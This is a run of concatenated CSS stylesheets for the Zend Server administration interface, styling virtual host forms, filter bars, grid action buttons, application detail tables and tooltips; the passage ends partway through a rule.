#vhost-template-textarea {
    padding: 10px;
    overflow: auto;
    font-size: 12px;
    line-height: 15px;
    border: 1px inset #ccc;
    font: 12px courier, monospace black;
    max-height: 400px;
    height: 290px;
	/*height:229px; spa merge*/
    width: 500px;
}

[page="vhost"] #templateEditor textarea#vhost-template-textarea {
    height: 229px;
}

.zgrid_td-port img.port-any {
    width: 24px;
    height: 24px;
    vertical-align: middle;
}

.codeBlock#vhostExaple {
    color: #000;
}

#addLineInTemplate {
    color: #d14;
}

#vhostUnmanageContainer {
    width: 450px;
}

.zgrid-vhost-property {
    margin-left: 2px !important;
    margin-right: 2px !important;
}

.zgrid-vhost-default {
    background: url('/ZendServer/images/icons/checkmark.png') top left no-repeat;
}

.zgrid-vhost-deployment {
    background: url('/ZendServer/images/icons/deploy-enabled.png') top left no-repeat;
}

.zgrid-vhost-ssl {
    background: url('/ZendServer/images/icons/locked.png') top left no-repeat;
}

.add-vhost-wizard-modal.simple-modal .simple-modal-body.simple-modal-wizard-body {
    padding: 0;
    border: 0;
}

.add-vhost-wizard-modal.simple-modal .simple-modal-body {
    min-height: 260px;
}

#allowToContinue {
    width: auto;
    float: left;
    margin-top: 2px;
}

#allowToContinueLabel {
    width: auto;
    text-align: left;
    margin-left: 20px;
}

textarea#vhost-template-textarea {
    resize: none;
}

[page="vhost"] .radio-list input {
    vertical-align: -2px;
}

ul#vhost-summary-ssl-files-list {
    padding-left: 12px;
}

.vhost-summary-ssl-filename {
    display: block;
    width: 130px;
}

.vhost-summary-ssl-filepath {
    max-width: 314px;
}

pre#vhost-summary-configuration-text.text-small {
    height: 138px;
}

pre#vhost-summary-configuration-text.text-large {
    height: 292px;
}

pre#vhost-summary-configuration-text {
    height: 196px;
    overflow: scroll;
}

#vhost-summary-action-address {
    font-family: monospace;
    word-break: break-word;
}

#vhost-summary-action {
    display: inline-block;
}

#vhost-summary-action.hidden {
    display: none;
}

[page="vhost"] .form_field {
    margin-bottom: 5px;
}

[page="vhost"] .form_field label {
    width: 25%;
}

[page="vhost"] .form_field input[type="text"] {
    width: 35%;
}

[page="vhost"] .form_field .vhost-errors {
    width: 35%;
}

[page="vhost"] .notice-message {
    margin-top: 7px;
    font-style: italic;
    position: absolute;
    bottom: 0;
    left: 0;
}

#template-field-help {
    margin-right: 15px;
    margin-top: 4px;
    cursor: help;
}

[page="vhost"] label.required:after {
    content: " *";
    color: red;
}

[page="vhost"] .required-fields {
    color: red;
    font-size: 10px;
}

#vhost-ssl-errors-message {
}

#removeVhostContainer {
    width: 320px;
}

.add-vhosts-list-for-app-warp{
   
}

.add-vhosts-list-for-app-warp .content{
    margin: 15px;
    overflow: hidden;
}

.add-vhosts-list-for-app-warp .attach-vhost-btn {
    margin-bottom: 13px;
    margin-top: 13px;
    float: right;
}

@CHARSET "ISO-8859-1";

.filter_details {
    background: none repeat scroll 0 0 #E2EFF5;
    border-bottom: 1px solid #D2D6D7;
    border-top: 1px solid #D2D6D7;
}

#filter_details table {
    margin: 0;
    display: table;
}

#filter_details table td {
    padding: 4px 10px;
}

#filter_details .optionsContainer {
    max-height: 70px;
    overflow: auto;
}

.issue-list-seperator {
    width: 100%;
    background: url("/ZendServer/images/issue-details-list-seperator.png") repeat-y scroll right top transparent;
}

#filter_details table tr td:first-child {
    width: 100px;
}

.filterLabel {
    color: #000;
    float: left;
    font-size: 13px;
    font-weight: bold;
    line-height: 25px;
    overflow: hidden;
    text-align: left;
    white-space: nowrap;
    width: 100px;
    margin-top: 4px;
}

.filterOption {
    padding: 2px 15px;
    cursor: pointer;
    font-size: 13px;
    color: #000;
    white-space: nowrap;
    display: inline-block;
    margin: 5px 0;
    border-right: 1px solid #78C1EA;
}

.filterOption:first-child,
.filterOptionEmpty {
    border-left: 1px solid #78C1EA;
}

.filterOptionEmpty {
    font-size: 12px;
    font-style: italic;
    margin: 5px 0;
    padding: 2px 10px;
}

.filterOption:hover {
    color: #43AFE0;
}

.selectedFiltersBar {
    margin-top: 20px;
}

.selectedFiltersBar table td {
    background: #E3E3E3;
}

.selectedFiltersContainer {
    width: 100%;
}

#filter_details table td.selectedFiltersBarActions {
    margin-top: 5px;
    width: 305px;
    display: block;
    background: transparent;
}

.selectedFiltersBarActions button {
    margin: 0;
    margin-left: 10px;
}

.issue-filter-id,
.audit-filter-id,
.vhost-filter-id,
.job-filter-id,
.job-rule-filter-id {
    margin-left: 10px;
    margin-right: 8px;
}

.filter_details_content {
    color: #000;
    padding-bottom: 3px;
}

.filter_details_content tr {
    border-bottom: 1px solid #cecece;
}

.filter_details_content tr:first-child {
    border-top: 1px solid #cecece;
}

.filter_details_content ul li {
    clear: both;
    padding: 5px 0;
}

.filter_details_content .searchBox input.search {
    -o-transition: none;
    -webkit-transition: none;
    -moz-transition: none;
    transition: none;
    width: 200px;
}

#filterBar div.externalFiltersContainer {
    height: 16px;
    margin-top: 2px;
    border: 0px;
}

#filterBar div.selectedFiltersButtons,
#filterBar div.visibleFiltersButtons {
    margin-top: 6px;
    margin-left: -15px;
    margin-right: 5px;
}

#filterBar div.divSelectFiltersControls {
    margin-top: 4px;
    margin-left: 4px;
}

#filterBar {
    background: none repeat scroll 0 0 #fff;
    font-size: 14px;
    margin-bottom: 20px;
}

#filterBar a {
    color: #43AFE0;
}

#filterBar select {
    font-size: 14px;
    height: auto;
    padding: 4px;
    background: #E3E3E3;
    width: auto;
    border: 1px solid #CECECE;
    font-weight: normal;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
    margin-right: 15px;
}

.userSelectedFilters {
    background: none repeat scroll 0 0 #E2EFF5;
    border-bottom: 1px solid #D2D6D7;
    border-top: 1px solid #D2D6D7;
    padding: 10px;
}

.selectedFilter {
    cursor: pointer;
    padding: 2px 10px 2px 0;
    color: #000;
    white-space: nowrap;
    display: inline-block;
    margin: 5px 5px 5px 0;
}

.selectedFilter span {
    float: left;
}

.selectedFilter span:before {
    content: "\E208";
    font: 24px/1em 'Glyphicons Regular';
    font-style: normal;
    font-size: 14px;
    color: #cecece;
    margin-right: 5px;
    background: #fcfcfc;
    padding: 0 2px;
    border-right: 1px solid #F2F2F2;
}

.selectedFilter:hover span:before {
    color: #ee5351;
}

.filter_details_content ul {
    margin: 0;
    padding: 0;
}

.filter_details_content .searchBox {
    float: left;
    padding-right: 5px;
}

table.selectedFiltersBox {
    width: auto;
}

.selectedFiltersList {
    line-height: 15px;
    min-height: 33px;
    padding-top: inherit;
}

.search {
    margin: 5px;
}

.selectedFiltersLabel {
    color: #000;
    font-size: 15px;
    overflow: hidden;
    white-space: nowrap;
    line-height: 26px;
    margin-top: 5px;
}

.externalFilterLabel {
    color: #93A3AB;
    font-size: 12px;
    font-weight: bold;
    overflow: hidden;
    white-space: nowrap;
    float: left;
}

.selectedFiltersBox {
    display: inline-block;
    min-height: 43px;
}

.tooltip {
    margin-top: 4px;
}

.datePicker {
    width: 124px;
    font-family: Arial,Helvetica,sans-serif;
}

.externalFiltersContainer {
    border: 1px solid #ABB0B3;
    padding: 3px;
}

.externalFilters {
    margin: 2px 0;
    height: 15px;
}

.externalFiltersInterface input,
.externalFiltersInterface span {
    margin-right: 10px;
}

.timeRangeTitle {
    padding: 10px 0px;
}

.linkable {
    cursor: pointer;
}

.selectedFiltersButtons button, .selectedFiltersButtons input {
    margin-left: 5px;
}

.clearFilters {
    background: url('/ZendServer/images/clear-button.png') 0 0 no-repeat;
    cursor: pointer;
    float: left;
    height: 22px;
    margin: 5px 2px;
    width: 32px;
}

.clearFilters:hover {
    background: url('/ZendServer/images/clear-button.png') -64px 0
}

.clearFilters:active {
    background: url('/ZendServer/images/clear-button.png') -32px 0
}

.optionsContainer span {
    line-height: 24px;
    padding-left: 10px;
}

.noFiltersSelectedText {
    color: #626262;
    font-style: italic;
    font-weight: normal;
}

.hidden.glyphicons {
    display: none;
}

.showFilterDetails,
.hideFilterDetails {
    padding-right: 20px;
    padding-left: 0;
}

.hideFilterDetails.glyphicons.chevron-right i:before,
.showFilterDetails.glyphicons.chevron-right i:before {
    font-size: 12px;
    right: 4px;
    left: inherit;
    top: 9px;
    color: #43AFE0;
    -webkit-transform: rotate(90deg);
    -moz-transform: rotate(90deg);
    -o-transform: rotate(90deg);
    -ms-transform: rotate(90deg);
    transform: rotate(90deg);
}

.hideFilterDetails.glyphicons.chevron-right i:before {
    -webkit-transform: rotate(270deg);
    -moz-transform: rotate(270deg);
    -o-transform: rotate(270deg);
    -ms-transform: rotate(270deg);
    transform: rotate(270deg);
}

#timeRangeFilter label {
    color: #43AFE0;
    margin: 0 6px 0 0;
}

#timeRangeFilter input {
    padding-right: 0;
    background: transparent;
}

#timeRangeFilter span {
    display: inline-block;
    margin-right: 10px;
}

.filter-input-wrapper {
    padding: 2px 3px 0 3px;
    background: #E3E3E3;
    padding: 3px 7px;
    border: 1px solid #CECECE;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

.filter-input-wrapper input {
    border: 0;
}

.timeRangeCalendarIcon {
    display: inline-block;
    margin-top: 2px;
    margin-left: 2px;
    float: right;
    cursor: pointer;
}

.timeRangeCalendarIcon:before {
    content: "\e046";
    font: 24px/1em 'Glyphicons Regular';
    font-style: normal;
    font-size: 14px;
    color: #2774a0;
}

#filterBar .timeRangeCalendarIcon:before {
    color: #43AFE0;
}

#filterBar button:enabled:active {
    color: #BABABA;
}

#filterBar button:disabled {
    color: #BABABA;
}

.timeRangeCalendarIcon:hover {
    background-position: right -15px;
}

.datepicker_vista {
    z-index: 1000;
}

.external-filter-actions {
    background: #2774A0;
    color: #fff;
}

.external-filter-actions.glyphicons {
    padding: 0 5px 0px 20px;
}

button.external-filter-actions:disabled,
button.external-filter-actions.glyphicons:disabled i:before {
    color: rgba(255, 255, 255, 0.48);
}

.external-filter-actions.glyphicons.remove_2 i:before {
    font-size: 11px;
    top: 5px;
    left: 5px;
}

#saveas_filter_btn:before {
    content: "\e152";
}

#save_filter_btn:before {
    content: "\e220";
}

#delete_filter_btn:before {
    content: "\e198";
}

#clear_filter_btn {
    cursor: pointer;
}

#clear_filter_btn i:before {
    color: #43AFE0;
    font-size: 18px;
}

#filterBar .searchField {
}

#filterBar>* {
    display: inline-block;
}

#filterBar>form {
    height: 27px;
}
table.zgrid {
    table-layout: fixed;
}

.zgrid th {
    text-overflow: ellipsis;
}

.zgrid th,
.zgrid td {
    border: 1px solid #dddddd;
}

#persistant-wrapper .zgrid th {
    padding-right: 1px;
}

.zgrid tr.odd td,
.zgrid tr.even td {
    padding-right: 0;
    padding-top: 0;
    padding-bottom: 0;
    height: 33px;
    line-height: 33px;
}

.zgrid td > img {
    vertical-align: middle;
}

.zgrid_break {
    word-break: break-all;
}

.zgrid_ellipsis {
    width: 100%;
    white-space: nowrap;
    text-overflow: ellipsis;
    overflow: hidden;
    display: inline-block;
    line-height: 33px;
    float: left;
    height: 31px;
}

.zgrid_ellipsis div {
    white-space: nowrap;
    text-overflow: ellipsis;
    overflow: hidden;
}

.zgrid_btn {
    cursor: pointer;
}

.zgrid_btn.expand {
    background: url('/ZendServer/images/expand-button.png') 0 0 no-repeat;
}

.zgrid_btn.expand:hover {
    background: url('/ZendServer/images/expand-button.png') -64px 0 no-repeat;
}

.zgrid_btn.expand:active {
    background: url('/ZendServer/images/expand-button.png') -32px 0 no-repeat;
}

.zgrid_btn.checkUpdate {
    background: url('/ZendServer/images/apps-refresh-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.checkUpdate:hover {
    background: url('/ZendServer/images/apps-refresh-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.checkUpdate:active {
    background: url('/ZendServer/images/apps-refresh-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.reload {
    background: url('/ZendServer/images/apps-refresh-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.reload:hover {
    background: url('/ZendServer/images/apps-refresh-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.reload:active {
    background: url('/ZendServer/images/apps-refresh-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.reload.disabled {
    display: none;
}

.zgrid_btn.update {
    background: url('/ZendServer/images/update-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.update:hover {
    background: url('/ZendServer/images/update-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.update:active {
    background: url('/ZendServer/images/update-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.update.disabled {
    display: none;
}

.zgrid_btn.info {
    background: url('/ZendServer/images/new-rule-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.info:hover {
    background: url('/ZendServer/images/new-rule-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.info:active {
    background: url('/ZendServer/images/new-rule-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.info.disabled {
    display: none;
}

.zgrid_btn.runCheckUpdates {
    background: url('/ZendServer/images/apps-refresh-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.runCheckUpdates:hover {
    background: url('/ZendServer/images/apps-refresh-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.runCheckUpdates:active {
    background: url('/ZendServer/images/apps-refresh-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.runCheckUpdates.disabled {
    display: none;
}

.zgrid_btn.suspend {
    background: url('/ZendServer/images/suspend-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.suspend:hover {
    background: url('/ZendServer/images/suspend-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.suspend:active {
    background: url('/ZendServer/images/suspend-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.suspend.disabled {
    display: none;
}

.zgrid_btn.resume {
    background: url('/ZendServer/images/resume-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.resume:hover {
    background: url('/ZendServer/images/resume-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.resume:active {
    background: url('/ZendServer/images/resume-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.resume.disabled {
    display: none;
}

.zgrid_btn.runNow {
    background: url('/ZendServer/images/run-now-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.runNow:hover {
    background: url('/ZendServer/images/run-now-button-all.png') -64px 0 no-repeat;
}

.zgrid_btn.runNow:active {
    background: url('/ZendServer/images/run-now-button-all.png') -32px 0 no-repeat;
}

.zgrid_btn.runNow.disabled {
    display: none;
}

.zgrid_btn.rollback {
    background: url('/ZendServer/images/apps-rollback-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.rollback:hover {
    background: url('/ZendServer/images/apps-rollback-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.rollback:active {
    background: url('/ZendServer/images/apps-rollback-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.rollback.disabled {
    display: none;
}

.zgrid_btn.redeploy {
    background: url('/ZendServer/images/apps-redeploy-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.redeploy:hover {
    background: url('/ZendServer/images/apps-redeploy-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.redeploy:active {
    background: url('/ZendServer/images/apps-redeploy-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.redeploy.disabled {
    display: none;
}

.zgrid_btn.default {
    background: url('/ZendServer/images/set-default-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.default:hover {
    background: url('/ZendServer/images/set-default-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.default:active {
    background: url('/ZendServer/images/set-default-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.default.disabled {
    display: none;
}

.zgrid_btn.delete {
    background: url('/ZendServer/images/apps-delete-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.delete.disabled {
    display: none;
}

.zgrid_btn.revert {
    background: url('/ZendServer/images/apps-rollback-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.delete:hover {
    background: url('/ZendServer/images/apps-delete-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.delete:active {
    background: url('/ZendServer/images/apps-delete-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.remove {
    background: url('/ZendServer/images/apps-delete-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.remove:hover {
    background: url('/ZendServer/images/apps-delete-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.remove:active {
    background: url('/ZendServer/images/apps-delete-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.expire {
    background: url('/ZendServer/images/expire-clock-buttons-all.png') 0 0 no-repeat;
}

.zgrid_btn.expire:hover {
    background: url('/ZendServer/images/expire-clock-buttons-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.expire:active {
    background: url('/ZendServer/images/expire-clock-buttons-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.copy {
    background: url('/ZendServer/images/copy-buttons-all.png') 0 0 no-repeat;
}

.zgrid_btn.copy:hover {
    background: url('/ZendServer/images/copy-buttons-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.copy:active {
    background: url('/ZendServer/images/copy-buttons-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.clean {
    background: url('/ZendServer/images/clean-button.png') 0 0 no-repeat;
}

.zgrid_btn.clean:hover {
    background: url('/ZendServer/images/clean-button.png') -64px 0
		no-repeat;
}

.zgrid_btn.clean:active {
    background: url('/ZendServer/images/clean-button.png') -32px 0
		no-repeat;
}

.zgrid_btn.settings {
    background: url('/ZendServer/images/component-settings-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.settings:hover {
    background: url('/ZendServer/images/component-settings-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.settings:active {
    background: url('/ZendServer/images/component-settings-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.restart {
    background: url('/ZendServer/images/daemon-restart-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.restart:hover {
    background: url('/ZendServer/images/daemon-restart-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.restart:active {
    background: url('/ZendServer/images/daemon-restart-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.export {
    background: url('/ZendServer/images/export-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.export:hover {
    background: url('/ZendServer/images/export-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.export:active {
    background: url('/ZendServer/images/export-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.force_remove {
    background: url('/ZendServer/images/apps-delete-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.force_remove:hover {
    background: url('/ZendServer/images/apps-delete-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.force_remove:active {
    background: url('/ZendServer/images/apps-delete-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.apply_changes {
    background: url('/ZendServer/images/upload-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.apply_changes:hover {
    background: url('/ZendServer/images/upload-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.apply_changes:active {
    background: url('/ZendServer/images/upload-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.revert_changes {
    background: url('/ZendServer/images/rollback-changes-icons.png') 0 0 no-repeat;
}

.zgrid_btn.revert_changes:hover {
    background: url('/ZendServer/images/rollback-changes-icons.png') -64px 0
		no-repeat;
}

.zgrid_btn.revert_changes:active {
    background: url('/ZendServer/images/rollback-changes-icons.png') -32px 0
		no-repeat;
}

.zgrid_btn.disable {
    background: url('/ZendServer/images/disable-server-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.disable:hover {
    background: url('/ZendServer/images/disable-server-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.disable:active {
    background: url('/ZendServer/images/disable-server-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.disable.disabled {
    display: none;
}

.zgrid_btn.enable {
    background: url('/ZendServer/images/enable-server-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.enable:hover {
    background: url('/ZendServer/images/enable-server-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.enable:active {
    background: url('/ZendServer/images/enable-server-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.enable.disabled {
    display: none;
}

.zgrid_btn.edit {
    background: url('/ZendServer/images/apps-edit-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.edit:hover {
    background: url('/ZendServer/images/apps-edit-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.edit:active {
    background: url('/ZendServer/images/apps-edit-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.manage {
    background: url('/ZendServer/images/server-6-buttons-icon.png') 0 0 no-repeat;
}

.zgrid_btn.manage:hover {
    background: url('/ZendServer/images/server-6-buttons-icon.png') -64px 0
		no-repeat;
}

.zgrid_btn.manage:active {
    background: url('/ZendServer/images/server-6-buttons-icon.png') -32px 0
		no-repeat;
}

.zgrid_btn.unmanage {
    background: url('/ZendServer/images/remove-new-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.unmanage:hover {
    background: url('/ZendServer/images/remove-new-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.unmanage:active {
    background: url('/ZendServer/images/remove-new-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.rename {
    background: url('/ZendServer/images/apps-edit-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.rename:hover {
    background: url('/ZendServer/images/apps-edit-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.rename:active {
    background: url('/ZendServer/images/apps-edit-button-all.png') -32px 0
		no-repeat;
}

.zgrid_btn.new_rule {
    background: url('/ZendServer/images/new-rule-button-all.png') 0 0 no-repeat;
}

.zgrid_btn.new_rule:hover {
    background: url('/ZendServer/images/new-rule-button-all.png') -64px 0
		no-repeat;
}

.zgrid_btn.new_rule:active {
    background: url('/ZendServer/images/new-rule-button-all.png') -32px 0
		no-repeat;
}

.zgrid td input[type="checkbox"] {
    margin-top: 10px;
}

ul.tabs {
    margin: 0;
    padding: 0;
}

.tabs .tab {
    display: inline-block;
    text-align: center;
    list-style: none;
    border-bottom: 1px #6e7275 solid;
    border-left: 1px solid #6e7275;
    border-right: 1px solid #6e7275;
    border-top: 1px solid #6e7275;
    -moz-border-radius: 2px 2px 0 0;
    -webkit-border-radius: 2px 2px 0 0;
    border-radius: 2px 2px 0 0;
    color: #fff;
    cursor: pointer;
    margin-right: 2px;
    min-width: 95px;
    padding-right: 10px;
    padding-left: 10px;
    border: 1px solid #FFF;
    font-size: 12px;
    line-height: 20px;
    height: 19px;
    padding: 0px 15px;
    cursor: pointer;
    color: #555;
}

.more-details {
    color: #355968;
    font-weight: bold;
    background: url('/ZendServer/images/apps-stats-arrow-over.png') right 2px no-repeat;
    padding-right: 18px;
}

.tabs .active,
.tabs .tab:hover {
    background: #FFF;
    color: #555;
    border: 1px solid #DDD;
    border-bottom: 1px solid #FFF;
    border-top: 3px solid #44AFE5;
    height: 30px;
    line-height: 30px;
}

.zgrid .content {
    margin-top: -2px;
    border-top: 1px #bdc8cc solid;
    padding: 6px 3px;
    overflow: auto;
}

.zgrid .content ul {
    padding: 0 10px;
}

.tab-label {
    width: 120px;
    font-weight: bold;
    display: block;
    color: #888;
    float: left;
    text-align: right;
    padding-right: 10px;
}

#grid-count-bar,
.grid-count-bar {
    height: 36px;
    margin: 0 0 0 10px;
    float: left;
    line-height: 36px;
}

.zgrid-total {
    margin-top: 1px;
    font-size: 12px;
    display: inline-block;
    margin-right: 20px;
    color: #000;
}

.zgrid_btn_off {
    opacity: 0.4;
}

.zgrid_btn.disabled {
    display: none !important;
}

.zgrid td.zgrid_td-disabled {
    background-color: #e6e6e6 !important;
    opacity: 0.3;
}

.zgrid th.zgrid_header-disabled {
    color: #a6b0b5;
}

.zgrid td .zgrid_td_label-indented {
    margin-left: 43px;
}

.zgrid-icon {
    height: 16px;
    width: 16px;
    margin: 8px auto 0;
}

.zgrid-icon-ok {
    background: url('/ZendServer/images/grid/grid-ok.png') top left no-repeat;
    height: 16px;
    width: 16px;
    margin: 2px auto 0;
}

.zgrid .vhostDetails {
    padding: 9px;
}
@CHARSET "ISO-8859-1";

.appDetails {
    margin: 5px;
    border-bottom: 5px solid #F8F8F8;
    border-radius: 5px;
}

.more-details {
    color: #355968;
    font-weight: bold;
    background: url('/ZendServer/images/apps-stats-arrow-over.png') right 2px no-repeat;
    padding-right: 18px;
}

.more-details a {
    color: #355968;
    font-weight: bold;
    cursor: pointer;
}

.tabs .active {
    background-color: #f6fafc;
    border-bottom-color: #f6fafc;
}

.appDetails table td {
	padding: 5px;
}

.appDetails .content {
    margin-top: -2px;
    border-top: 1px #bdc8cc solid;
    padding: 10px;
    overflow: auto;
}

.appDetails .expanded-area-section {
	width: 30%;
	min-width: 400px;
	float: left;
	
	border-left: 1px solid #c5dee8;
    padding-left: 20px;
}
.appDetails .expanded-area-section.expanded-area-section-small {
	width: 15%;
	min-width: 250px;
}
.appDetails .expanded-area-section:first-child {
	border-left: 0;
}
.appDetails .expanded-area-section:last-child {
	float: right;
}

.param_wrapper {
	width: 30%;
	float: left;
	overflow: hidden;
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	padding: 3px 0;
}

.param_value, .param_key {
	display: inline-block;
	vertical-align: middle;
}

.param_key {
	color: #96a3a9;
	font-size: 12px;
	font-weight: bold;
	padding-right: 10px;
	text-align: right;
	white-space: nowrap;
	overflow: hidden;
	width: 110px;
}
.details-column {
    float: left;
    width: 450px;
    height: 100%;
    border-left: 1px solid #c5dee8;
    padding-left: 20px;
}

.details-column-right {
    font-weight: bold;
    color: #3f6170;
    float: left;
    border-left: 1px solid #c5dee8;
    height: 100%;
    padding-left: 30px;
}

/*** A table of 2 columns, left is description (example can be found on zgrid for issues, events and application)*/
.tableWithDesc {
    width: 500px;
    float: left;
}

.tableWithDesc tr td:first-child {
    color: #96a3a9;
    font-size: 12px;
    font-weight: bold;
    padding-right: 10px;
    text-align: right;
    white-space: nowrap;
    overflow: hidden;
    width: 110px;
}

.tableWithDesc.queueInfoTable tr td:first-child {
    width: 130px;
}

.tableWithDescServers, .tableWithDescApps {
    width: 100%;
}

.tableWithDescServers tr:nth-child(even),
.tableWithDescApps tr:nth-child(even) {
	background: #EEE;
}

.tableWithDescServers tr th, .tableWithDescApps tr th {
	padding: 5px;
    color: #FFF;
    background: #A3A3A3;
    font-size: 12px;
    font-weight: bold;
    text-align: left;
    white-space: nowrap;
    height: 10px;
    line-height: 10px;
    border: 1px solid #dddddd;
}

.tableWithDescServers tr th:first-child {
    text-align: center;
    width: 40px;
}

.tableWithDescApps tr th:first-child {
    text-align: center;
    width: 30%;
}

.tableWithDescServers a {
	color: inherit;
	text-decoration: underline;
}


.tableWithDescServers tr td, .tableWithDescApps tr td {
	padding: 5px;
    color: #122833;
    font-size: 12px;
    text-align: left;
    white-space: nowrap;
}

.tableWithDescServers tr td:first-child,
.tableWithDescServers tr td.statusImage {
    text-align: center;
    width: 50px;
}

.tableWithDescApps tr td:first-child,
.tableWithDescApps tr td.statusImage {
    width: 30%;
}

.app-details-logo {
    max-height: 100px;
    max-width: 100px;
    float: right;
    margin: 10px;
}

.redeployButton {
    float: right;
}

.zgrid td input.checkboxRedeploy[type="checkbox"] {
    margin-top: 5px;
}

.statusImage img {
    margin-top: 5px;
}

.rule-help {
    margin-left: 5px;
    background: url('/ZendServer/images/question-mark-icon-trans.png') top right no-repeat;
    height: 12px;
    width: 12px;
    display: inline-block;
    cursor: help;
}

.floating-tip input.rename-field {
    width: 230px;
}
.vhostDetails .tableWithDesc {
	float: initial;
}
[page="libraries"] .tableWithDesc {
    width: 900px;
}

[page="libraries"] .library_remove-message {
    font-weight: bold;
}

[page="libraries"] .library_remove-alert {
    font-weight: bold;
}

[page="libraries"] #check-updates-btn {
    margin: 5px;
}

[page="libraries"] .tableDescContent.float-left {
    width: 450px !important;
}

[page="libraries"] .tableDescContent-Aligned td:first-child {
    text-align: left;
    width: 100px;
}

[page="libraries"] input#isDefault {
    vertical-align: -2px;
}
@CHARSET "UTF-8";

/* Prerequisites list */

ul.prerequisites-list li>span {
    vertical-align: 3px;
}

ul.prerequisites-list li {
    list-style-position: outside;
}

ul.prerequisites-list li.prerequisite-item-valid {
    list-style-image: url(/ZendServer/images/ok-message-icon.png);
    color: green;
}

ul.prerequisites-list li.prerequisite-item-error {
    list-style-image: url(/ZendServer/images/error-message-icon.png);
    color: red;
}

.prerequisites_container ul.prerequisites-list {
    padding: 0 30px;
}
@CHARSET "UTF-8";

.floating-tip {
    background-color: #fff;
    border: 1px solid #a3bcc7;
    word-wrap: break-word;
    /* padding: 5px 15px; */
    color: #000;
    padding: 5px;
    font-weight: bold;
    font-size: 11px;
    -moz-border-radius: 3px;
    -webkit-border-radius: 3px;
    border-radius: 3px;
    margin-top: 5px !important;
}

.floating-tip ul {
    list-style-type: none;
    margin: 0;
    padding: 4px;
    border-bottom: 1px solid #ecf1f3;
}

.floating-tip ul li {
    color: #000000;
    padding: 7px;
    width: 80px;
    white-space: nowrap;
}

.floating-tip ul li a {
    color: #000;
}

.floating-tip ul li:hover {
    cursor: pointer;
    text-decoration: underline;
}

.floating-tip .issue-actions-list {
    border-bottom: 0px;
}
@CHARSET "ISO-8859-1";

#rules_list tr[parentId] {
    background: #fff;
    border: 1px solid lightgray;
}

#rules_list tr[parentId]:hover {
    background: #E2E2E2;
}

#rules_list .even.active,
#rules_list .odd.active {
    font-weight: bold;
    border-top: 1px solid #c1cace;
    border-bottom: 1px solid #c1cace;
}

#monitor-enabled {
    background: #5ba51c;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    -moz-border-radius: 11px;
    -khtml-border-radius: 11px;
